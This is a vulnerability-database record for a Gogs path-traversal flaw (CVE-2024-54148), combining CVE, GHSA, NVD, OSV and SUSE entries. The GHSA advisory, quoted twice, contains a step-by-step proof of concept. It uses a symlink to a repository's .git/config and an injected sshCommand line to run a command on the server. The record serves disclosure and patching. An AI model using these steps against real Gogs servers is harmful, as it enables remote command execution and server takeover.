{"id":"CVE-2024-54148","aliases":["EUVD-2024-3610","GHSA-r7j8-5h9c-f6fx","GO-2024-3355","SUSE-SU-2025:0060-1","openSUSE-SU-2025:14624-1"],"status":"published","title":"Gogs has a Path Traversal in file editing UI","description":"Gogs is an open source self-hosted Git service. A malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","severity":{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00855,"percentile":0.58669,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22","CWE-61"],"published":"2024-12-23T15:22:48Z","modified":"2026-10-28T02:31:01Z","fixes":[{"ecosystem":"Go","package":"gogs.io/gogs","fixed_in":["0.13.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Go","package":"gogs.io/gogs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.13.1"}]}]},{"source":"osv","ecosystem":"Go","package":"gogs.io/gogs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.13.1"}]}]},{"source":"osv","ecosystem":"Go","package":"gogs.io/gogs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.13.1"}]}]},{"source":"osv","ecosystem":"SUSE:Linux Enterprise Module for Package Hub 15 SP6","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20250108T191942-150000.1.26.1"}]}],"bundled":18},{"source":"osv","ecosystem":"openSUSE:Leap 15.6","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20250108T191942-150000.1.26.1"}]}],"bundled":18},{"source":"osv","ecosystem":"openSUSE:Tumbleweed","package":"govulncheck-vulndb","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.0.20250108T191942-1.1"}]}],"bundled":13}],"products":[{"vendor":"gogs","product":"gogs"}],"references":[{"url":"https://github.com/gogs/gogs/security/advisories/GHSA-r7j8-5h9c-f6fx","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/gogs/gogs/issues/7582","tags":["x_refsource_MISC","Issue Tracking","report","web"]},{"url":"https://github.com/gogs/gogs/pull/7857","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/gogs/gogs/commit/c94baec9ca923f38c19f0c7c5af722b9ec04022a","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-54148","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-r7j8-5h9c-f6fx"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/54xxx/CVE-2024-54148.json","tags":["advisory"]},{"url":"https://github.com/gogs/gogs","tags":["package"]},{"url":"https://www.suse.com/support/update/announcement/2025/suse-su-20250060-1/","tags":["advisory"]},{"url":"https://www.suse.com/security/cve/CVE-2024-12678","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-25131","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-25133","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-28892","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-43803","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-45338","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-45387","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-54148","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-55196","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-55947","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-56362","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-56513","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-56514","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2024-9779","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-21609","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-21613","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-21614","tags":["web"]},{"url":"https://www.suse.com/security/cve/CVE-2025-22130","tags":["web"]},{"url":"https://lists.opensuse.org/archives/list/security-announce@lists.opensuse.org/thread/UV63VQGB6Y3V7AIZHIKF3PMFVIHM32MI/","tags":["advisory"]}],"sources":{"cve":[{"id":"CVE-2024-54148","title":"Gogs has a Path Traversal in file editing UI","description":"Gogs is an open source self-hosted Git service. A malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","status":"published","published":"2024-12-23T15:22:48.244Z","modified":"2024-12-24T01:52:58.173Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high","assessor":"cna"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"adp"}],"cwes":["CWE-61","CWE-22"],"updated_at":"2026-11-02T14:33:59.177173Z"}],"euvd":[{"id":"EUVD-2024-3610","description":"Gogs is an open source self-hosted Git service. A malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","status":"published","published":"2024-12-23T15:22:48Z","modified":"2024-12-24T01:52:58Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-11-03T00:04:33.195445Z"}],"ghsa":[{"id":"GHSA-r7j8-5h9c-f6fx","title":"Remote Command Execution in file editing in gogs","description":"### Impact\n\nThe malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. \n\n### Patches\n\nEditing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Create two repositories, upload something to the first repository, edit any file, and save it on the webpage.\n2. In the second repository, create a symbolic link to the file you need to edit:\n    ```bash\n    $ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test\n    $ ls -la\n    total 8\n    drwxr-xr-x   5 dd  staff  160 Oct 27 19:09 .\n    drwxr-xr-x   4 dd  staff  128 Oct 27 19:06 ..\n    drwxr-xr-x  12 dd  staff  384 Oct 27 19:09 .git\n    -rw-r--r--   1 dd  staff   12 Oct 27 19:06 README.md\n    lrwxr-xr-x   1 dd  staff   44 Oct 27 19:09 test -\u003e /data/gogs/data/tmp/local-repo/1/.git/config\n    $ git add .\n    $ git commit -m 'ddd'\n    $ git push -f\n    ```\n\n3. Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed)\n    ```\n    [core]\n    repositoryformatversion = 0\n    filemode = true\n    bare = false\n    logallrefupdates = true\n    ignorecase = true\n    precomposeunicode = true\n    sshCommand = echo pwnned \u003e /tmp/poc\n    [remote \"origin\"]\n    url = [git@github.com](mailto:git@github.com):torvalds/linux.git\n    fetch = +refs/heads/*:refs/remotes/origin/*\n    [branch \"master\"]\n    remote = origin\n    merge = refs/heads/master\n    ```\n\n4. Go back to the first repo, edit something, and commit again, you can notice a file called `/tmp/poc` created on the server.\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.","status":"published","published":"2024-12-23T17:53:01Z","modified":"2025-04-10T22:56:17Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:38:39.044439Z"}],"nvd":[{"id":"CVE-2024-54148","description":"Gogs is an open source self-hosted Git service. A malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","status":"published","published":"2024-12-23T16:15:07.01Z","modified":"2026-06-17T08:09:51.52Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"secondary"}],"cwes":["CWE-22","CWE-61"],"updated_at":"2026-11-02T14:10:40.507978Z"}],"osv":[{"id":"CVE-2024-54148","title":"Gogs has a Path Traversal in file editing UI","description":"Gogs is an open source self-hosted Git service. A malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. The vulnerability is fixed in 0.13.1.","status":"published","published":"2024-12-23T15:22:48.244Z","modified":"2026-10-28T02:31:01.585008613Z","cvss":[{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22","CWE-61"],"updated_at":"2026-11-02T15:44:44.451316Z"},{"id":"GHSA-r7j8-5h9c-f6fx","title":"Remote Command Execution in file editing in gogs","description":"### Impact\n\nThe malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server. \n\n### Patches\n\nEditing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Create two repositories, upload something to the first repository, edit any file, and save it on the webpage.\n2. In the second repository, create a symbolic link to the file you need to edit:\n    ```bash\n    $ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test\n    $ ls -la\n    total 8\n    drwxr-xr-x   5 dd  staff  160 Oct 27 19:09 .\n    drwxr-xr-x   4 dd  staff  128 Oct 27 19:06 ..\n    drwxr-xr-x  12 dd  staff  384 Oct 27 19:09 .git\n    -rw-r--r--   1 dd  staff   12 Oct 27 19:06 README.md\n    lrwxr-xr-x   1 dd  staff   44 Oct 27 19:09 test -\u003e /data/gogs/data/tmp/local-repo/1/.git/config\n    $ git add .\n    $ git commit -m 'ddd'\n    $ git push -f\n    ```\n\n3. Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed)\n    ```\n    [core]\n    repositoryformatversion = 0\n    filemode = true\n    bare = false\n    logallrefupdates = true\n    ignorecase = true\n    precomposeunicode = true\n    sshCommand = echo pwnned \u003e /tmp/poc\n    [remote \"origin\"]\n    url = [git@github.com](mailto:git@github.com):torvalds/linux.git\n    fetch = +refs/heads/*:refs/remotes/origin/*\n    [branch \"master\"]\n    remote = origin\n    merge = refs/heads/master\n    ```\n\n4. Go back to the first repo, edit something, and commit again, you can notice a file called `/tmp/poc` created on the server.\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.","status":"published","published":"2024-12-23T17:53:01Z","modified":"2025-04-10T22:56:15Z","cvss":[{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical"},{"version":"4.0","score":8.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:55.480549Z"},{"id":"GO-2024-3355","title":"Remote Command Execution in file editing in gogs in gogs.io/gogs","description":"Remote Command Execution in file editing in gogs in gogs.io/gogs","status":"published","published":"2025-01-07T16:03:18Z","modified":"2026-03-03T04:56:09.536327Z","updated_at":"2026-11-02T15:47:01.728182Z"},{"id":"openSUSE-SU-2025:14624-1","title":"govulncheck-vulndb-0.0.20250108T191942-1.1 on GA media","description":"These are all security issues fixed in the govulncheck-vulndb-0.0.20250108T191942-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2025-01-09T00:00:00Z","modified":"2026-02-04T03:30:26.791709Z","updated_at":"2026-11-02T16:58:36.976155Z"},{"id":"SUSE-SU-2025:0060-1","title":"Security update for govulncheck-vulndb","description":"This update for govulncheck-vulndb fixes the following issues:\n\n- Update to version 0.0.20250108T191942 2025-01-08T19:19:42Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2025-3371 GHSA-2r2v-9pf8-6342\n  * GO-2025-3374 CVE-2025-22130 GHSA-j4jw-m6xr-fv6c\n\n- Update to version 0.0.20250107T160406 2025-01-07T16:04:06Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2025-3363 GO-2025-3364 GO-2025-3367 GO-2025-3368\n  * GO-2024-3355 CVE-2024-54148 GHSA-r7j8-5h9c-f6fx\n  * GO-2024-3356 CVE-2024-55947 GHSA-qf5v-rp47-55gg\n  * GO-2024-3357 CVE-2024-56362 GHSA-xwx7-p63r-2rj8\n  * GO-2024-3358 CVE-2024-45387 GHSA-vq94-9pfv-ccqr\n  * GO-2024-3359 CVE-2024-28892 GHSA-5qww-56gc-f66c\n  * GO-2024-3360 CVE-2024-25133 GHSA-wgqq-9qh8-wvqv\n  * GO-2025-3361 CVE-2024-55196 GHSA-rv83-h68q-c4wq\n  * GO-2025-3362 CVE-2025-21609 GHSA-8fx8-pffw-w498\n  * GO-2025-3363 CVE-2024-56514 GHSA-cwrh-575j-8vr3\n  * GO-2025-3364 CVE-2024-56513 GHSA-mg7w-c9x2-xh7r\n  * GO-2025-3367 CVE-2025-21614 GHSA-r9px-m959-cxf4\n  * GO-2025-3368 CVE-2025-21613 GHSA-v725-9546-7q7m\n\n- Update to version 0.0.20241220T214820 2024-12-20T21:48:20Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2024-3101 GHSA-75qh-gg76-p2w4\n  * GO-2024-3339 GHSA-8wcc-m6j2-qxvm\n\n- Update to version 0.0.20241220T203729 2024-12-20T20:37:29Z.\n  Refs jsc#PED-11136\n  Go CVE Numbering Authority IDs added or updated with aliases:\n  * GO-2024-3101 GHSA-75qh-gg76-p2w4\n  * GO-2024-3109 CVE-2024-43803 GHSA-pqfh-xh7w-7h3p\n  * GO-2024-3333 CVE-2024-45338 GHSA-w32m-9786-jp63\n  * GO-2024-3342 GHSA-hxr6-2p24-hf98\n  * GO-2024-3343 CVE-2024-9779 GHSA-jhh6-6fhp-q2xp\n  * GO-2024-3344 GHSA-32gq-x56h-299c\n  * GO-2024-3349 CVE-2024-25131 GHSA-77c2-c35q-254w\n  * GO-2024-3350 GHSA-5pf6-cq2v-23ww\n  * GO-2024-3354 CVE-2024-12678 GHSA-hr68-hvgv-xxqf\n","status":"published","published":"2025-01-10T11:33:29Z","modified":"2026-02-05T02:50:12.74079Z","updated_at":"2026-11-02T15:53:56.123059Z"}]}}
